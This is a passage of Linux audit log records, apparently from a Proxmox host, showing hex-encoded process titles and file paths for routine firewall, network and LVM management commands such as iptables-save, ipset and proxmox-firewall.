proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964225823,"@rawstring":"node=pve type=PATH msg=audit(1781964225.823:60115): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835293,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.293:62835): proctitle=697073657400726573746F7265"} {"@timestamp":1781964225823,"@rawstring":"node=pve type=PATH msg=audit(1781964225.823:60115): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.286:62834): proctitle=\"ip6tables-save\""} {"@timestamp":1781964225821,"@rawstring":"node=pve type=PATH msg=audit(1781964225.821:60114): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835280,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.280:62833): proctitle=\"iptables-save\""} {"@timestamp":1781964225821,"@rawstring":"node=pve type=PATH msg=audit(1781964225.821:60114): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.277:62832): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964225821,"@rawstring":"node=pve type=PATH msg=audit(1781964225.821:60113): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835273,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.273:62831): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964225818,"@rawstring":"node=pve type=PATH msg=audit(1781964225.818:60112): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.272:62830): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964225818,"@rawstring":"node=pve type=PATH msg=audit(1781964225.818:60112): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.272:62829): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964225818,"@rawstring":"node=pve type=PATH msg=audit(1781964225.818:60112): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835269,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.269:62828): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964225812,"@rawstring":"node=pve type=PATH msg=audit(1781964225.812:60111): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.262:62827): proctitle=\"ip6tables-save\""} {"@timestamp":1781964225812,"@rawstring":"node=pve type=PATH msg=audit(1781964225.812:60111): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835256,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.256:62826): proctitle=\"iptables-save\""} {"@timestamp":1781964225805,"@rawstring":"node=pve type=PATH msg=audit(1781964225.805:60110): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835251,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.251:62825): proctitle=69707365740073617665"} {"@timestamp":1781964225805,"@rawstring":"node=pve type=PATH msg=audit(1781964225.805:60110): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835244,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.244:62824): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964225799,"@rawstring":"node=pve type=PATH msg=audit(1781964225.799:60109): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964835237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964835.237:62823): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964225799,"@rawstring":"node=pve type=PATH msg=audit(1781964225.799:60109): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964834326,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964834.326:62822): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964225793,"@rawstring":"node=pve type=PATH msg=audit(1781964225.793:60108): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964834301,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964834.301:62821): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964225793,"@rawstring":"node=pve type=PATH msg=audit(1781964225.793:60108): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964830.810:62820): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225786,"@rawstring":"node=pve type=PATH msg=audit(1781964225.786:60107): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964830.810:62819): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964225786,"@rawstring":"node=pve type=PATH msg=audit(1781964225.786:60107): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964830.810:62818): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964224312,"@rawstring":"node=pve type=PATH msg=audit(1781964224.312:60106): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964830.797:62817): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964224312,"@rawstring":"node=pve type=PATH msg=audit(1781964224.312:60106): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964830.797:62816): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964224280,"@rawstring":"node=pve type=PATH msg=audit(1781964224.280:60105): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964830797,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964830.797:62815): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964224280,"@rawstring":"node=pve type=PATH msg=audit(1781964224.280:60105): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.790:62814): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964223372,"@rawstring":"node=pve type=PATH msg=audit(1781964223.372:60104): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.790:62813): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964223372,"@rawstring":"node=pve type=PATH msg=audit(1781964223.372:60104): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825790,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.790:62812): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964223372,"@rawstring":"node=pve type=PATH msg=audit(1781964223.372:60103): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825785,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.785:62811): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964223372,"@rawstring":"node=pve type=PATH msg=audit(1781964223.372:60102): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825785,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.785:62810): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964223364,"@rawstring":"node=pve type=PATH msg=audit(1781964223.364:60101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825785,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.785:62809): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964223364,"@rawstring":"node=pve type=PATH msg=audit(1781964223.364:60101): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.227:62808): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964223364,"@rawstring":"node=pve type=PATH msg=audit(1781964223.364:60100): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825224,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.224:62807): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964223364,"@rawstring":"node=pve type=PATH msg=audit(1781964223.364:60099): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.223:62806): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964219564,"@rawstring":"node=pve type=PATH msg=audit(1781964219.564:60098): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.223:62805): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964219564,"@rawstring":"node=pve type=PATH msg=audit(1781964219.564:60098): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825219,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.219:62804): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964219564,"@rawstring":"node=pve type=PATH msg=audit(1781964219.564:60097): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825213,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.213:62803): proctitle=\"ip6tables-save\""} {"@timestamp":1781964219564,"@rawstring":"node=pve type=PATH msg=audit(1781964219.564:60097): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.207:62802): proctitle=\"iptables-save\""} {"@timestamp":1781964219562,"@rawstring":"node=pve type=PATH msg=audit(1781964219.562:60096): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825201,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.201:62801): proctitle=\"ip6tables-save\""} {"@timestamp":1781964219562,"@rawstring":"node=pve type=PATH msg=audit(1781964219.562:60096): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825195,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.195:62800): proctitle=\"iptables-save\""} {"@timestamp":1781964218356,"@rawstring":"node=pve type=PATH msg=audit(1781964218.356:60095): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825191,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.191:62799): proctitle=\"ebtables-restore\""} {"@timestamp":1781964218356,"@rawstring":"node=pve type=PATH msg=audit(1781964218.356:60095): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825188,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.188:62798): proctitle=\"ebtables-restore\""} {"@timestamp":1781964218356,"@rawstring":"node=pve type=PATH msg=audit(1781964218.356:60094): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.184:62797): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964218356,"@rawstring":"node=pve type=PATH msg=audit(1781964218.356:60093): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.179:62796): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964218345,"@rawstring":"node=pve type=PATH msg=audit(1781964218.345:60092): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825174,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.174:62795): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964218345,"@rawstring":"node=pve type=PATH msg=audit(1781964218.345:60092): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825169,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.169:62794): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964218345,"@rawstring":"node=pve type=PATH msg=audit(1781964218.345:60091): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825163,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.163:62793): proctitle=697073657400726573746F7265"} {"@timestamp":1781964218345,"@rawstring":"node=pve type=PATH msg=audit(1781964218.345:60090): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.156:62792): proctitle=\"ip6tables-save\""} {"@timestamp":1781964215775,"@rawstring":"node=pve type=PATH msg=audit(1781964215.775:60089): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825150,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.150:62791): proctitle=\"iptables-save\""} {"@timestamp":1781964215775,"@rawstring":"node=pve type=PATH msg=audit(1781964215.775:60089): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825146,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.146:62790): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964215771,"@rawstring":"node=pve type=PATH msg=audit(1781964215.771:60088): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.143:62789): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964215771,"@rawstring":"node=pve type=PATH msg=audit(1781964215.771:60088): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.142:62788): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964215770,"@rawstring":"node=pve type=PATH msg=audit(1781964215.770:60087): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.142:62787): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964215770,"@rawstring":"node=pve type=PATH msg=audit(1781964215.770:60087): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825138,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.138:62786): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964215770,"@rawstring":"node=pve type=PATH msg=audit(1781964215.770:60086): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825132,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.132:62785): proctitle=\"ip6tables-save\""} {"@timestamp":1781964215766,"@rawstring":"node=pve type=PATH msg=audit(1781964215.766:60085): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.125:62784): proctitle=\"iptables-save\""} {"@timestamp":1781964215766,"@rawstring":"node=pve type=PATH msg=audit(1781964215.766:60085): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.120:62783): proctitle=69707365740073617665"} {"@timestamp":1781964215766,"@rawstring":"node=pve type=PATH msg=audit(1781964215.766:60085): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825113,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.113:62782): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964215760,"@rawstring":"node=pve type=PATH msg=audit(1781964215.760:60084): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964825107,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964825.107:62781): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964215760,"@rawstring":"node=pve type=PATH msg=audit(1781964215.760:60084): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964824223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964824.223:62780): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964215753,"@rawstring":"node=pve type=PATH msg=audit(1781964215.753:60083): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964824196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964824.196:62779): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964215753,"@rawstring":"node=pve type=PATH msg=audit(1781964215.753:60083): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964820.772:62778): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964215746,"@rawstring":"node=pve type=PATH msg=audit(1781964215.746:60082): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964820.772:62777): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964215746,"@rawstring":"node=pve type=PATH msg=audit(1781964215.746:60082): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964820772,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964820.772:62776): 